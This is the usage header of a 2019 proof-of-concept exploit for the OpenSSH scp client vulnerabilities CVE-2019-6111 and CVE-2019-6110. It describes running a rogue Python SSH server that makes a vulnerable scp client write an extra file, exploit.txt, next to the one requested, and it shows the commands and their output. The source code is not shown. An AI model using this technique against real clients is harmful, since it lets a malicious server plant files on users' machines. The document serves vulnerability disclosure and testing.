Title: SSHtranger Things
Author: Mark E. Haase <mhaase@hyperiongray.com>
Homepage: https://www.hyperiongray.com
Date: 2019-01-17
CVE: CVE-2019-6111, CVE-2019-6110
Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1

We have nicknamed this "SSHtranger Things" because the bug is so old it could be
exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko`
package.

The server listens on port 2222. It accepts any username and password, and it
generates a new host key every time you run it.

$ python3 sshtranger_things.py

Download a file using a vulnerable client. The local path must be a dot:

$ scp -P 2222 foo@localhost:test.txt .
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
foo@localhost's password:
test.txt 100% 32 0.7KB/s 00:00

The file you requested (e.g. test.txt) will be saved in your current directory.
If your client is vulnerable, you will have an additional file "exploit.txt"
created in your current directory.

$ cat test.txt
This is the file you requested.
$ cat exploit.txt
SSHtranger Things

The interesting code is in ScpServer.send_file().
